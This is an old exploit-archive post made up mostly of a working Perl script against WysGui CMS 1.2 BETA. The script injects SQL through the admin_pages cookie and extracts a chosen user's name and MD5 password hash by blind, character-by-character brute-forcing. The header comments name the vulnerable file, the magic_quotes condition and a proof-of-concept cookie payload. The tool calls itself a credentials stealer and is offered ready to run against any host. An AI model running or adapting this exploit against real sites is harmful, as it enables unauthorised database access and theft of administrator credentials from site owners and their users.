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wysguicms-sql.txt

Posted on 20 April 2009

#!/usr/bin/perl
#
#---------------------------------------------------------
#     	   WysGui CMS 1.2 BETA(cookie) BSQL
#---------------------------------------------------------
#   CMS INFORMATION:
#
#-->WEB: http://wysgui.com/
#-->DOWNLOAD: http://sourceforge.net/projects/wysgui/
#-->DEMO: http://wysgui.com/demo/
#-->CATEGORY: CMS / Portals
#-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG,
# 		(pronounced, Wizzy-Wig),tands for What You See Is What You Get...
#
#  CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: N/A
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?)
#-->Discovered Bug date: 2009-04-20
#-->Reported Bug date: 2009-04-20
#-->Fixed bug date: Not fixed
#-->Info patch (????): Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo.
#----------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents(¿?...LooooL)
#
#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{
#	$admin_pages = explode(',',$_COOKIE['admin_pages']);<--------VULN--------|
#}
#else
#{
#	$admin_pages = array(
#			'addPage',
#			'Edit Page',
#			'Delete Page',
#			  ...);
#}
#?>
#
#Then...
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents:
#				...
#
#				if( $i>1 ){
#					$order.= ' `page` = "'.$admin_pages[$i].'",';
#				}
#				...
#
#				$allPages_select = 'SELECT * FROM `pagedata`
#				WHERE '.$where.'<--------VULN--------|
#				ORDER BY  '.$order;
#				$allPages_query = mysql_query($allPages_select) or die($allPages_select);
#				while($allPages_row = mysql_fetch_array($allPages_query))
#				{...}
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#COOKIE --> admin_pages=about" AND 1=1 /*
#
#Return: about.php
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all SPANISH Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[1]);
$request->header(cookie => $_[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "
	[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit
";
print "	[XxX] USAGE MODE: [XxX]
";
print "	[XxX] perl $0 [HOST] [PATH] [id]
";
print "	[XxX] [HOST]: Web.
";
print "	[XxX] [PATH]: Home Path.
";
print "	[XxX] [id]: Id user. Default: 1 (**optional)
";
print "	[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'
";
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$_[1].')='.$i++.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$exit=1;
}
}

#Save column length
$lengthuser=$i-1;
print "	-----------------------------------------------------------------
";
print "	User Length catched!
";
print "	User Length: ".$lengthuser."
";
print "	Bruteforcing values...
";
print "	-----------------------------------------------------------------
";
return $lengthuser;
}
sub bruteforcing {
#Getting datas
$j=1;
$i=48;
while(($j<=$_[2]) && ($i<=126)){
my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$_[3].' FROM users WHERE ID='.$_[1].') FROM '.$j.' FOR 1))='.$i.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$values=$values.chr($i);
$j++;
$i=47;
}
if($i==57)
{
$i=96;
}
#new char
$i++;
}
#Error
if(($i>127) || ($j>$_[2])){
if(!$values){
print "	-----------------------------------------------------------------
";
print "	EXPLOIT FAILED!
";
print "	Fatal error: Datas doesn't find!
";
print "	Cause: Maybe you have to include more characters on bruteforcing...
";
print "	-----------------------------------------------------------------
";
exit(1);
}
}

return $values;
}
#Main
&lw;
print "		#########################################################

";
print "		#########################################################

";
print "		##  WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit  ##

";
print "		##         ++Conditions: Need magic_quotes=off         ##

";
print "		##                    Author: Y3nh4ck3r                ##

";
print "		##            Contact:y3nh4ck3r[at]gmail[dot]com       ##

";
print "		##                    Proud to be Spanish!             ##

";
print "		#########################################################

";
print "		#########################################################

";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/admin.php";
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Id-user is optional.Default:1
if(!$ARGV[2]){
$idhacked="1";
}else{
$idhacked=$ARGV[2];
}
#Testing blind sql injection
my $finalrequest = $finalhost;
#Test blind sql injection
my $insec_cookie='admin_pages=about" AND 1=1 /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "	-----------------------------------------------------------------
";
print "	Web is vulnerable!
";
print "	Tested Blind SQL Injection.
";
print "	Checking id user...
";
print "	-----------------------------------------------------------------
";
}else{
print "	-----------------------------------------------------------------
";
print "	This Web is not vulnerable!
";
print "	Maybe patched or gpc_magic_quotes=off
";
print "	EXPLOIT FAILED!
";
print "	-----------------------------------------------------------------
";
exit(1);
}
#Test if user exists
my $insec_cookie='admin_pages=about" AND (SELECT COUNT(*) from users WHERE ID='.$idhacked.') /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "	-----------------------------------------------------------------
";
print "	OK...The user exists!
";
print "	Starting exploit...
";
print "	-----------------------------------------------------------------
";
print "	Wait several minutes...
";
print "	-----------------------------------------------------------------
";
}else{
print "	-----------------------------------------------------------------
";
print "	User doesn't exists!
";
print "	EXPLOIT FAILED!
";
print "	-----------------------------------------------------------------
";
exit(1); }
#Bruteforcing user...
$length_user=&lengthuser($finalrequest,$idhacked);
$user=&bruteforcing($finalrequest,$idhacked,$length_user,'user');
print "	-----------------------------------------------------------------
";
print "	Got user!
";
print "	Bruteforcing password hash (md5)...
";
print "	-----------------------------------------------------------------
";
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length
print "
		*************************************************
";
print "		****  EXPLOIT EXECUTED (CREDENTIALS STEALER) ****
";
print "		*************************************************

";
print "		User-id:".$idhacked."
";
print "		User:".$user."
";
print "		User-password(hash):".$passhash."

";
print "
		<<----------------------FINISH!-------------------->>

";
print "		<<---------------Thanks to: y3hn4ck3r-------------->>

";
print "		<<------------------------EOF---------------------->>

";
exit(1);
#Ok...all job done

 

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